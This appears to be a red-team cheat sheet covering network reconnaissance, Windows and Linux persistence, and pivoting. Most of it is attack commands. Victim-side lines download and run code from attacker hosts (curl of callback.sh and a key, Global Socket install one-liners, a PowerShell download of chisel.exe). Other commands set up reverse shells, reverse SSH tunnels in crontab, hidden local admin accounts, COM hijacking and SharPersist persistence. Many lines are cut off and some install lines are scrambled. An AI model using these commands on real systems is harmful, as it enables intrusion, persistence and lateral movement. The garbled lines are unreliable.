http://edublog.bitcrack.net/2016/09/scanning-network-using-netdiscover-arp.html
https://null-byte.wonderhowto.com/how-to/use-abuse-address-resolution-protocol-arp-locate-hosts-
network-0150333/
https://www.blackhillsinfosec.com/analyzing-arp-to-discover-exploit-stale-network-address-
configurations/
arp scan
Active:

$ sudo arp-scan -l [-s <SPOOFED_IP>] -v


$ sudo arp-scan -I eth0 192.168.0.0/24

netdiscover

Passive:

$ sudo netdiscover -i eth0 -r 192.168.0.0/24 -p

Active, sending 20 requests per IP:

$ sudo netdiscover -i eth0 -r 192.168.0.0/24 -c 20

Hunt for Subnets

https://hub.packtpub.com/optimize-scans/

Take 10.0.0.0/8 as an example:

$ sudo nmap -n -sn 10.0-255.0-255.1 -oA subnets/gateways -PE [--min-rate 10000 --min-hostgroup
$ grep 'Up' subnets/gateways.gnmap | cut -d' ' -f2 > subnets/ranges.txt

$ sed -i subnets/ranges.txt -e 's/$/\/24/'

Ping Sweep

Bash:

$ NET="0.0.0"; for i in $(seq 1 254); do (ping -c1 -W1 $NET.$i > /dev/null && echo "$NET.$i"
Or
$ NET="0.0.0"; for i in $(seq 1 254); do (ping -c1 -W1 "$NET.$i" | grep 'bytes from' | cut -d

$ sort -u -t'.' -k4,4n sweep.txt > hosts/targets.txt && rm sweep.txt

Batch:

Cmd > set "NET=10.5.5" && for /L %i in (1,1,255) do @ping -n 1 -w 200 %NET%.%i > nul && echo %

PowerShell (option 1):


PS > echo "[*] Scanning in progress...";1..254 |ForEach-Object {Get-WmiObject Win32_PingStatus

PowerShell (option 2):

PS > $NET="192.168.0";for($i=1;$i -lt 255;$i++){$command="ping -n 1 -w 100 $NET.$i > nul 2>&1


PS > rm tmp*.txt

Nmap:

$ sudo nmap -n -sn -iL subnets/ranges.txt -oA hosts/pingsweep -PS22,443 -PA21,80 -PE -PP
$ grep 'Up' hosts/pingsweep.gnmap | cut -d' ' -f2 | sort -u -t'.' -k1,1n -k2,2n -k3,3n -k4,4n

RMI Sweep

Remote Management Interfaces:

Port Service

22 SSH

3389 RDP

2222 SSH?

5900 VNC

5985 WinRM

5986 WinRM over SSL/TLS

Nmap:

$ sudo nmap -n -Pn -iL subnets/ranges.txt -oA hosts/rmisweep -p22,3389,2222,5900,5985,5986 [--


$ grep 'open' hosts/rmisweep.gnmap | cut -d' ' -f2 | sort -u -t'.' -k1,1n -k2,2n -k3,3n -k4,4n

Services

Raw Identification

$ nc -nv 10.10.13.37 4444 [-C]

Nmap XML Parsers


parsenmap.rb

https://github.com/R3dy/parsenmap

$ git clone https://github.com/R3dy/parsenmap-rb ~/tools/parsenmap-rb && cd ~/tools/parsenmap-


$ bundle install && ln -s ~/tools/parsenmap-rb/parsenmap.rb /usr/local/bin/parsenmap.rb && cd
$ parsenmap.rb --help

Examine version scan:

$ parsenmap.rb services/alltcp-versions.xml > services/alltcp-versions.csv

Split version scan by service names:

$ parsenmap.py -i services/alltcp-versions.xml

nmaptocsv

https://github.com/maaaaz/nmaptocsv

$ git clone https://github.com/maaaaz/nmaptocsv ~/tools/nmaptocsv && cd ~/tools/nmaptocsv


$ python3 -m pip install -r requirements.txt csvkit && ln -s ~/tools/nmaptocsv/nmaptocsv.py /u
$ nmaptocsv.py --help

Examine version scan:

$ nmaptocsv.py -x services/alltcp-versions.xml -d',' -f ip-fqdn-port-protocol-service-version-

Ports

Scan with echo :

$ IP="0.0.0.0"; for p in $(seq 1 49151); do (timeout 1 bash -c "echo '.' >/dev/tcp/$IP/$p && e
$ sort -u -t':' -k1,1n hosts/ports.txt > hosts/echo-ports.txt && rm hosts/ports.txt

Scan with nc :

$ seq 1 49151 | xargs -n1 | xargs -P0 -I {} nc -nzv -w1 0.0.0.0 {} 2>&1 | grep -vE "timed out

Top TCP ports:

Port Service
21 FTP
22,2222 SSH

23 Telnet

25 SMTP

53 DNS

80,8080 HTTP

88 KDC

111 SUNRPC

135 MSRPC

137 NetBIOS

139,445 SMB over NetBIOS,SMB over TCP/IP

389,636 LDAP,LDAP over SSL/TLS

443,8443 SSL/TLS

593 HTTP RPC Endpoint Mapper

623 IPMI

873 RSYNC

1090,1098,1099,4444,11099,47001,47002,10999 Java RMI

1433 MS SQL

1521 Oracle

1947 HASP License Manager


TCP one-liner:

ports_tcp="21,22,23,25,53,80,88,111,135,137,139,389,443,445,593,623,636,873,1090,1098,1099,143

Top UDP ports:

Port Service

53 DNS

67 DHCP

69 TFTP

88 KDC
123 NTP

137 NetBIOS

161 SNMP

500 IKE

623 IPMI

3391 RD Gateway

UDP one-liner:

ports_udp="53,67,69,88,123,137,161,500,623,3391"

Nmap

https://www.infosecmatter.com/why-does-nmap-need-root-privileges/

Flag -A :

nmap -A ... == nmap -sC -sV -O --traceroute ...

Host discovery flag:

nmap -sn ... == nmap -PS443 -PA80 -PE -PP ...


-PS/PA/PU/PY [portlist]: TCP SYN/ACK, UDP or SCTP discovery to given ports
-PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes
-PO [protocol list]: IP protocol ping

Search for Nmap NSE scripts:

$ find /usr/share/nmap/scripts/ -type f | grep smb


Or
$ sudo nmap --script-updatedb
$ cat /usr/share/nmap/scripts/script.db | grep smb

Configure Nmap to run as unprivileged user by setting Linux capabilities:

$ sudo setcap cap_net_raw,cap_net_admin,cap_net_bind_service+eip `which nmap`


$ nmap --privileged ...

Grep only numbers to get a comma-separated list of ports:


$ cat nmap/initial.nmap | egrep -o '^[0-9]{1,5}' | awk -F/ '{ print $1 }' ORS=','; echo

Define which NSE scripts were ran:

$ grep '|_' services/alltcp-versions.nmap | cut -d'_' -f2 | cut -d' ' -f1 | sort -u | grep ':

Look at HTTP titles:

$ grep -i 'http-title' services/alltcp-versions.nmap

Fast port discovery with Masscan + versions and scripts with Nmap (TCP):

$ sudo masscan --rate 1000 -e tun0 -p1-65535,U:0-65535 127.0.0.1 > masscan/ports


$ ports=`cat masscan/ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr
$ sudo nmap -n -Pn -sVC [-sT] [-A] [--reason] -oA nmap/tcp 127.0.0.1 -p$ports

Fast port discovery with Nmap + versions and scripts with Nmap (TCP & UDP):

$ sudo nmap -n -Pn --min-rate 1000 -T4 127.0.0.1 -p- -v --open | tee nmap/ports_tcp.txt
$ ports_tcp=`cat nmap/ports_tcp | grep '^[0-9]' | awk -F "/" '{print $1}' | tr "\n" ',' | sed

$ sudo nmap -n -Pn -sVC [-sT] [-A] [--reason] -oA nmap/tcp 127.0.0.1 -p$ports_tcp

$ sudo nmap -n -Pn -sU [--max-retries 1] 127.0.0.1 -v --open | tee nmap/ports_udp.txt


$ ports_udp=`cat nmap/ports_udp | grep '^[0-9]' | awk -F "/" '{print $1}' | tr "\n" ',' | sed
$ sudo nmap -n -Pn -sVCU [--reason] -oA nmap/udp 127.0.0.1 -p$ports_udp

Nmap a single host helper (full TCP), output is placed in CWD:

nmap_single_host.sh
#!/usr/bin/env bash

# Usage: ./nmap_single_host.sh <IP>

IP="$1"
OUT="${IP//./-}"

quick_ports_scan="sudo nmap -n -Pn --min-rate 1000 -T4 $IP -p1-65535 --open -v | tee ${OUT}_al
echo -e "\033[0;31m########## \033[1;32m${quick_ports_scan}\033[0;31m ##########\033[0m"
eval ${quick_ports_scan}

ports_tcp=`cat "${OUT}_alltcp_sweep.txt" | grep '^[0-9]' | awk -F "/" '{print $1}' | tr "\n"

versions_and_scripts_scan="sudo nmap -Pn -sVC -O -oA ${OUT} $IP -p$ports_tcp"


echo -e "\033[0;31m########## \033[1;32m${versions_and_scripts_scan}\033[0;31m ##########\033
eval ${versions_and_scripts_scan}
Visualizes a grepable Nmap output in terminal (run the scan with open ):

nmap_visualize.sh
#!/bin/bash

# Usage: ./nmap_visualize.sh <NMAP_OUT.GNMAP>

INPUT=$1
IFS=$'\n'

for line in `grep "Ports:" $INPUT`; do


echo $line | cut -d ' ' -f 2
for j in `echo $line | grep -oE "Ports\:.*" | cut -d " " -f 2- | sed 's/, /\n/g'`; do
PORT=`echo $j | cut -d "/" -f 1,3`
SERVICE=`echo $j | cut -d "/" -f 7`
if [ -z "$SERVICE" ]
then
SERVICE=`echo $j | cut -d "/" -f 5`
fi
echo " |___$PORT ( $SERVICE )"
done
echo ""
done

unset $IFS

Masscan

https://github.com/robertdavidgraham/masscan

$ sudo masscan [-e eth0] --rate 1000 -iL hosts.txt --open -p$ports --resume paused.conf >> mas
$ mkdir services && for p in `echo $ports | tr ',' ' '`; do grep "port $p/tcp" masscan.out | a

RustScan

https://github.com/RustScan/RustScan/wiki/Usage

$ sudo rustscan -b 1000 -t 2000 -u 5000 -a hosts.txt -r $ports -g --no-config --scan-order "Ra

Scan Nmap top 1000 TCP ports:

https://github.com/RustScan/RustScan/wiki/Config-File

$ sudo wget https://gist.github.com/snovvcrash/8b85b900bd928493cd1ae33b2df318d8/raw/fe86283966


$ sudo rustscan -a 10.10.13.37 --top
Naabu

https://github.com/projectdiscovery/naabu/releases

$ sudo naabu [-interface eth0] -iL hosts.txt -s s -rate 1000 -p - -silent [-nmap-cli 'sudo nma
$ sudo naabu -host 10.10.13.37 -top-ports 1000

Invoke-Portscan

https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/Invoke-Portscan.ps1

https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Portscan/

PS > Invoke-Portscan -Hosts 127.0.0.0/24 -sn -noProgressMeter -oA sweep


PS > Invoke-Portscan -Hosts 127.0.0.0/24 -T 4 -TopPorts 25 -oA top25
PS > Invoke-Portscan -HostFile .\hosts.txt -Ports 22,80,443,445

Hunt for Gateways & NICs

https://s3cur3th1ssh1t.github.io/On-how-to-access-protected-networks/

Search for gateways and dual-homed hosts.

gateway-finder-imp

https://github.com/whitel1st/gateway-finder-imp

$ python3 gateway-finder-imp.py -d 8.8.8.8 -m de:ad:be:af:de:ad -i eth0


$ python3 gateway-finder-imp.py -D file_with_dst_IPs.txt -M file_with_nex_hop_MACs.txt -i eth0

NetBIOS

nbtscan

$ sudo nbtscan -r 10.10.10.0/24

nbname (MSF)

msf > use auxiliary/scanner/netbios/nbname


msf > set RHOSTS file:hosts.txt
msf > run

nextnet

https://github.com/hdm/nextnet

$ ./nextnet -rate 1000 192.168.1.0/24 | grep nets

RPC via IOXIDResolver

PingCastle

https://github.com/vletoux/pingcastle/releases

Double click > scanner > oxidbindings > all .

SharpOxidResolver

https://github.com/S3cur3Th1sSh1t/SharpOxidResolver/releases

Cmd > .\OxidResolver.exe # query all domain computers


Cmd > .\OxidResolver.exe <IP/HOSTNAME>

Tools

AutoRecon

https://github.com/Tib3rius/AutoRecon

legion

https://github.com/carlospolop/legion

nmapAutomator

https://github.com/21y4d/nmapAutomator

Install:
$
$ git
sudoclone https://github.com/21y4d/nmapAutomator
ln -vs `pwd`/nmapAutomator/nmapAutomator.sh ~/tools/nmapAutomator
/usr/local/bin/ && cd ~/tools/nmapAut

Run:

$ nmapAutomator.sh --host 10.1.1.1 --type All

SIP / VoIP

Sniff Traffic

tcpdump
While connected via SSH:

$ sudo tcpdump -i eth0 -w dump.pcap -s0 'not tcp port 22' &

Wireshark

https://wiki.wireshark.org/CaptureSetup/CapturePrivileges
https://research.801labs.org/cracking-an-ntlmv2-hash/

Filters

Protocols to consider:

DTP (Dynamic Trunking Protocol)


OSPF (Open Shortest Path First)
SSDP (Simple Service Discovery Protocol)

ARP (Address Resolution Protocol)


LLMNR (Link-Local Multicast Name Resolution)
NBNS (NetBIOS Name Service)
mDNS (Multicast DNS)
ICMPv6 (Internet Control Message Protocol version 6)
DHCPv6 (Dynamic Host Configuration Protocol version 6)
dtp || ospf || ssdp || arp || llmnr || nbns || mdns || icmpv6 || dhcpv6

NFS
Network File System

https://resources.infosecinstitute.com/exploiting-nfs-share/

https://blog.christophetd.fr/write-up-vulnix/

https://book.hacktricks.xyz/linux-unix/privilege-escalation/nfs-no_root_squash-misconfiguration-pe

Nmap
Discover rpcbind:

$ sudo nmap -sV --script rpcinfo 10.10.13.37 -p111

Run Nmap scripts:

$ sudo nmap -sV --script 'nfs*' 10.10.13.37 -p2049

Mount

$ showmount -e 10.10.13.37
$ sudo mount -v -t nfs -o vers=3 -o nolock -o user=snovvcrash,pass='Passw0rd!' 10.10.13.37:/ho

Persistence

https://xakep.ru/2021/03/03/persistence-cheatsheet/

Windows
https://persistence-info.github.io/

Scheduled Tasks

https://github.com/VirtualAlllocEx/Taskschedule-Persistence-Download-Cradles

Hidden Local User

Dollar Sign

https://chaah.awankloud.my/redteaming-tips-creating-a-hidden-user/

Cmd > net user snovvcrash$ Passw0rd! /add

SpecialAccounts

PS > New-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\" -Name Speci


PS > New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Speci

COM Hijacking

Locate good targets to hijack with Procmon filters:

Operation is RegOpenKey
Result is NAME NOT FOUND
Path is InprocServer32 (in-process server allowing the specified DLL to be loaded into current process
memory space)

Locate CLSIDs from scheduled tasks:

schtask.ps1
$Tasks = Get-ScheduledTask

foreach ($Task in $Tasks)


{
if ($Task.Actions.ClassId -ne $null)
{
if ($Task.Triggers.Enabled -eq $true)
{
if ($Task.Principal.GroupId -eq "Users")
{
Write-Host "Task Name: " $Task.TaskName
Write-Host "Task Path: " $Task.TaskPath
Write-Host "CLSID: " $Task.Actions.ClassId
Write-Host
}
}
}
}

Check if a COM component exists under a relevant registry hive by its CLSID:

PS > Get-ChildItem -Path "Registry::HKCR\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"


PS > Get-Item -Path "HKLM:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" | ft
PS > Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" | ft

If it exists under HKLM but does not exists under HKCU hive, we can hijack this COM component by
creating a new item in the latter path:

PS > New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1


PS > New-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" -Name
PS > New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1
PS > Get-ItemProperty -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1

RID Hijacking

https://r4wsecurity.blogspot.com/2017/12/rid-hijacking-maintaining-access-on.html
https://github.com/r4wd3r/RID-Hijacking

.LNK Shortcuts

https://v3ded.github.io/redteam/abusing-lnk-features-for-initial-access-and-persistence

Tools

SharPersist

https://github.com/fireeye/SharPersist

beacon> execute-assembly SharPersist.exe -t schtask -c "C:\Windows\System32\WindowsPowerShell\


beacon> execute-assembly SharPersist.exe -t startupfolder -f "UserEnvSetup" -m add
beacon> execute-assembly SharPersist.exe -t reg -c "C:\ProgramData\Updater.exe" -a "/q /n" -k

Linux
SSH Tunnel in Crontab

callback.sh
#!/bin/bash
if [[ `ps -ef | grep -c 2222` -eq 1 ]]; then
/usr/bin/ssh -nNT -R 2222:localhost:22 -oStrictHostKeyChecking=no -oUserKnownHostsFile=/dev/
fi

Attacker's box:

$ sudo useradd -ms /bin/false nopty


$ sudo ssh-keygen -f /home/nopty/.ssh/dummy_key -t ed25519 -q -N ""
$ cat /home/nopty/.ssh/dummy_key.pub
$ sudo vi /home/nopty/.ssh/authorized_keys
from="10.10.13.38",command="echo 'Only port forwarding is allowed'",no-agent-forwarding,no-X11

Victim's box:

$ curl 10.10.13.37/dummy_key > /home/alice/.ssh/.k


$ chmod 600 /home/alice/.ssh/.k
$ curl 10.10.13.37/callback.sh > /home/alice/.conf
$ chmod +x /home/alice/.conf
$ crontab -e
*/15 * * * * /home/alice/.conf

Global Socket

https://www.gsocket.io/deploy/

Install

Victim's box:

$ bash -c "$(curl -fsSL gsocket.io/x)"


$ bash -c "$(wget -qO- gsocket.io/x)"

Connect

Attacker's box:

$ cd ~/tools && bash -c "$(curl -fsSL https://tiny.cc/gsinst)" && cd


$ ~/tools/gsocket/tools/gs-netcat -s "<SECRET>" -i

Cleanup
Victim's box:

$ GS_UNDO=1 bash -c "$(curl -fsSL gsocket.io/x)"


$ GS_UNDO=1 bash -c "$(wget -qO- gsocket.io/x)"

$ pkill gs-bd

Rootkits

0x00sec.org/t/kernel-rootkits-getting-your-hands-dirty/1485

Pivoting

PayloadsAllTheThings/Network Pivoting Techniques.md


https://www.programmersought.com/article/93593867459/

https://xakep.ru/2020/09/08/windows-pivoting/

Check if connections are allowed at a certain port (alternative to nc.exe and powercat.ps1):

nc.ps1
# Test-NetConnection -ComputerName 10.10.13.37 -Port 4444
$port = $args[0]
$endpoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Any, $port)
$listener = New-Object System.Net.Sockets.TcpListener $endpoint
$listener.Start()
Write-Host "Listening on port $port"
while ($true)
{
$client = $listener.AcceptTcpClient()
Write-Host "A client has connected"
$client.Close()
}

Check if the machine can reach specific remote port when Test-NetConnection is not available (1, 2):

$ cme smb 192.168.1.11 -u snovvcrash -p 'Passw0rd!' -x 'powershell (New-Object System.Net.Sock

SSH

https://habr.com/ru/post/331348/
Local vs Remote Port Forwarding

A cheatsheet for SSH Local/Remote Forwarding command syntax:

-L 1111:127.0.0.1:2222 : the traffic is forwarded from SSH client via SSH server, so 1111 is
listening on client-side and traffic is sent to 2222 on server-side.

-R 2222:127.0.0.1:1111 : the traffic is forwarded from SSH server via SSH client, so 2222 is
listening on server-side and traffic is sent to 1111 on client-side.

Consider the following example. An attacker has root privileges on Pivot1. He creates the first SSH tunnel
(remote port forwarding) to interact with a vulnerable web server on Pivot2. Then he exploits the vulnerability
on Pivot2 and triggers it to connect back to Attacker via a reverse-shell (firewall is active, so he needs to
pivot through port 443, which is allowed). After that the attacker performs PE on Pivot2 and gets root. Then
he creates another tunnel (local port forwarding) over the first one to SSH into Pivot2 from Attacker. Finally,
he forwards port 80 over two existing hops to reach another vulnerable web server on Victim.

Attacker (10.10.13.37) Pivot1 (10.1.1.1)


┌──────────────────────────────────────────────────────────────────────┐ ┌───────────────────
│ 22 │ │
│ 1. ssh -R 443:127.0.0.1:9001 [email protected] ------------------------------► 10.1.1.1:22
│ │ │
│ 2. │ │ Listens 0.0.0.0
│ │ │
│ 3. │ │ ~C ssh> -L 9002
│ │ │
│ 4. Listens 127.0.0.1:9002 (to interact with web server 10.2.2.2:80) │ │
│ │ │
│ 5. shellpop -H 10.2.2.2 -P 443 --reverse --number 8 --base64 │ │
│ │ │
│ 9001 over 10.1.1.1:22 │ │
│ 6. rlwrap nc -lvnp 9001 ◄--- 127.0.0.1:9001 ◄----------------------------- 0.0.0.0:443 ◄───
│ │ │
│ 7. Got shell from 10.2.2.2 │ │
│ │ │
│ 8. Got root on 10.2.2.2 │ │
│ │ │
│ │ │ ~C ssh> -L 9003
│ │ │
│ 9. Listens 127.0.0.1:9003 │ │
│ │ │
│ │ │
│ │ │ ssh -L 1337:127
│ │ │
│ │ │ Listens 127.0.0
│ │ │
│ 1337 over 10.1.1.1:22 │ │
│ 10. ssh [email protected] -p 9003 -------------------------------------------► 127.0.0.1:1337 -
│ │ │
│ │ │
│ │ │

│ 11. Listens 127.0.0.1:9004 │
│ │

│ 1337 over 10.1.1.1:22 │ │
│ 12. curl http://127.0.0.1:9004/ ------------------------------------------► 127.0.0.1:1337 -
│ │ │
└──────────────────────────────────────────────────────────────────────┘ └───────────────────

Notes:

1 For SSH server to listen at 0.0.0.0 instead of 127.0.0.1 , the GatewayPorts yes must be
set in /etc/ssh/sshd_config .

1 With SSH (or Chisel, for example) server running on the Attacker the same can be achieved by
doing local port forwarding instead of remote.

snovvcrash@attacker:~$ ./chisel server -p 8000


root@pivot1:# nohup ./chisel client 10.10.13.37:8000 443:127.0.0.1:9001 &
root@pivot1:# netstat -tulpan | grep 443
tcp6 0 0 :::443 :::* LISTEN 18406/./chisel
snovvcrash@attacker:~$ rlwrap nc -lvnp 9001

Remote Dynamic Forwarding

Attacker's IP: 10.10.13.37

Victims's IP: 10.10.13.38

An example how to safely set remote dynamic port forwarding (SOCKS) with a builin SSH client.

Generate a dummy SSH key on Victim:

alice@victim:~$ ssh-keygen -f dummy_key -t ed25519 -q -N ""

Add dummy_key.pub contents to authorized_keys on Attacker with the following options:

snovvcrash@attacker:~$ vi ~/.ssh/authorized_keys
from="10.10.13.38",command="echo 'Only port forwarding is allowed'",no-agent-forwarding,no-X11

Connect to Attacker's SSH server from Victim:

alice@victim:~$ ssh -fN -R 1080 -oStrictHostKeyChecking=no -oUserKnownHostsFile=/dev/null -i d

netsh
Rules
Allow inbound traffic flow on port 4444/TCP:

Cmd > netsh advfirewall firewall add rule name="Allow 4444" dir=in action=allow protocol=TCP l
Cmd > netsh advfirewall firewall delete rule name="Allow 4444" protocol=TCP localport=4444

Relay

Add a relay between two machines (need to be local admin).

Make any traffic hitting port 8443 on 0.0.0.0 to be redirected to 10.10.13.37 on port 443:

Cmd > netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=8443 connectaddres

Show active relays:

Cmd > netsh interface portproxy show v4tov4

Remove a relay:

Cmd > netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=8443

L2 VPN over SSH

[YouTube] HTB Business CTF 2022: Dirty Money - The Day Before

Allow tunneling in SSH server config on Victim:

root@victim:~$ sudo vi /etc/ssh/sshd_config


...uncomment "PermitTunnel = yes"...
root@victim:~$ sudo service sshd restart

Connect to Victim building a Ethernet tunnel:

snovvcrash@attacker:~$ sudo ssh -oTunnel=ethernet -w0:0 [email protected]

Enable tap interfaces on both ends:

root@victim:~$ sudo ip link set tap0 up


snovvcrash@attacker:~$ sudo ip link set tap0 up

Put Victim's interface and tap into bridge:


root@victim:~$ sudo ip link add br0 type bridge
root@victim:~$ sudo ip link set eth0 master br0
root@victim:~$ sudo ip link set tap0 master br0
root@victim:~$ sudo ip link set br0 up

Get an IP address for tap on Attacker:

snovvcrash@attacker:~$ sudo dhclient -v tap0

SOCKS over Hardened SSH

[YouTube] HTB Business CTF 2022: Dirty Money - The Day Before

With AllowTcpForwarding set to no it's also possible to establish a SOCKS connection through
active SSH connection:

snovvcrash@attacker:~$ cat tunnel.sh


ssh alice@victim "./socat TCP-LISTEN:2222,reuseaddr STDIO"
snovvcrash@attacker:~$ socat TCP:localhost:22 EXEC:./tunnel.sh
alive@victim:~$ ssh -R 1080 -p 2222 snovvcrash@attacker

TCP over RDP

https://ijustwannared.team/2019/11/07/c2-over-rdp-virtual-channels/

xfreerdp + rdp2tcp

https://github.com/V-E-O/rdp2tcp
https://github.com/NotMedic/rdp-tunnel

$ xfreerdp /u:snovvcrash /p:'Passw0rd!' [/d:megacorp.local] /v:PC01.megacorp.local /dynamic-re

Reverse local port 9002 (on Victim) to local port 9001 on Attacker (good for reverse shells):

$ python rdp2tcp.py add reverse 127.0.0.1 9001 127.0.0.1 9002

Forward local port 9001 (on Attacker) to local port 9002 on Victim (good for bind shells):
$ python rdp2tcp.py add forward 127.0.0.1 9001 127.0.0.1 9002

Reverse tunnel web access via SOCKS proxy:

https://serverfault.com/a/361806/554483

$ python rdp2tcp.py add socks5 127.0.0.1 1080


$ python rdp2tcp.py add reverse 127.0.0.1 1080 127.0.0.1 9003

Other xfreerdp tips:

Disable NLA with -sec-nla switch if user's password is expired.

Use /cert:ignore to always disable certificate prompt.

Use /timeout:25000 to increase timeout and avoid "Waiting for activation" error.

Tools

https://github.com/securesocketfunneling/ssf
https://github.com/ginuerzh/gost

https://github.com/llkat/rsockstun
https://github.com/sysdream/ligolo
https://github.com/nicocha30/ligolo-ng

proxychains-ng

https://github.com/rofl0r/proxychains-ng

Install:

$ git clone https://github.com/rofl0r/proxychains-ng ~/tools/proxychains-ng && cd ~/tools/prox


$ ./configure --prefix=/usr --sysconfdir=/etc
$ make
$ sudo make install
$ sudo make install-config
+ edit /etc/proxychains.conf

sshuttle

https://github.com/sshuttle/sshuttle
https://anubissec.github.io/How-To-Pivot-Into-Target-Network-With-SSH/#

$ sshuttle -vr [email protected] 192.168.1.0/24 -e "sshpass -p 'Passw0rd!' ssh"


$ sshuttle -vr [email protected] 192.168.1.0/24 -e "ssh -i ./key"

chisel

https://github.com/jpillora/chisel/releases

https://0xdf.gitlab.io/2020/08/10/tunneling-with-chisel-and-ssf-update.html#chisel

HTB{ Reddish }
snovvcrash@gh-pages:~$ _

Attacker's IP: 10.10.13.37

Victims's IP: 10.10.13.38

Reverse local port 1111 (on Victim) to local port 2222 (on Attacker):

$ ./chisel server -p 8000 -v --reverse


PS > (New-Object Net.WebClient).DownloadFile("http://10.10.13.37/chisel.exe", "$env:userprofil
PS > Get-FileHash -Alg md5 "$env:userprofile\music\chisel.exe"
PS > Start-Process -NoNewWindow -FilePath "$env:userprofile\music\chisel.exe" -ArgumentList "c

Socks5 proxy in server mode:

alice@victim:~$ nohup ./chisel server -p 8000 --socks5 &


snovvcrash@kali:~$ ./chisel client 10.10.13.38:8000 [127.0.0.1:1080:]socks

Socks5 proxy in server mode when direct connection to Victim is not available (not relevant as Chisel
supports socks5 in client mode now):

snovvcrash@kali:~$ ./chisel server -p 8000 --reverse


alice@victim:~$ nohup ./chisel client 10.10.13.37:8000 R:127.0.0.1:8001:127.0.0.1:8002 &
alice@victim:~$ nohup ./chisel server -v -p 8002 --socks5 &
snovvcrash@kali:~$ ./chisel client 127.0.0.1:8001 [127.0.0.1:1080:]socks

Socks5 proxy in client mode:

snovvcrash@kali:~$ ./chisel server -p 8000 --reverse --socks5 [--auth snovvcrash:'Passw0rd!']


alice@victim:~$ nohup ./chisel client [--fingerprint <BASE64_STRING>] [--auth snovvcrash:'Pass
Double SOCKS Proxy

Double SOCKS Proxy Scheme

snovvcrash@kali:~$ ./chisel server -p 8000 --reverse --socks5


alice@pivot1:~$ nohup ./chisel client 10.10.13.37:8000 R:socks &
alice@pivot1:~$ nohup ./chisel server -p 8000 --reverse --socks5 &
bob@pivot2:~$ nohup ./chisel client 192.168.1.11:8000 R:socks &
snovvcrash@kali:~$ cp /etc/proxychains4.conf .
snovvcrash@kali:~$ echo 'socks5 127.0.0.1 1080' >> proxychains4.conf
snovvcrash@kali:~$ echo 'socks5 127.0.0.1 1080' >> proxychains4.conf
snovvcrash@kali:~$ proxychains4 -f ./proxychains4.conf nmap -Pn -sT 192.168.3.33 -p445

SharpChisel

https://github.com/shantanu561993/SharpChisel
https://github.com/latortuga71/SharpChisel-NG
https://medium.com/@shantanukhande/red-team-how-to-embed-golang-tools-in-c-e269bf33876a

https://github.com/m3rcer/Chisel-Strike

revsocks

https://github.com/kost/revsocks

snovvcrash@kali:~$ ./revsocks -listen :8000 -socks 127.0.0.1:1080 -pass 'Passw0rd!'


alice@victim:~$ ./revsocks -connect 10.14.14.3:8000 -pass 'Passw0rd!'

Neo-reGeorg

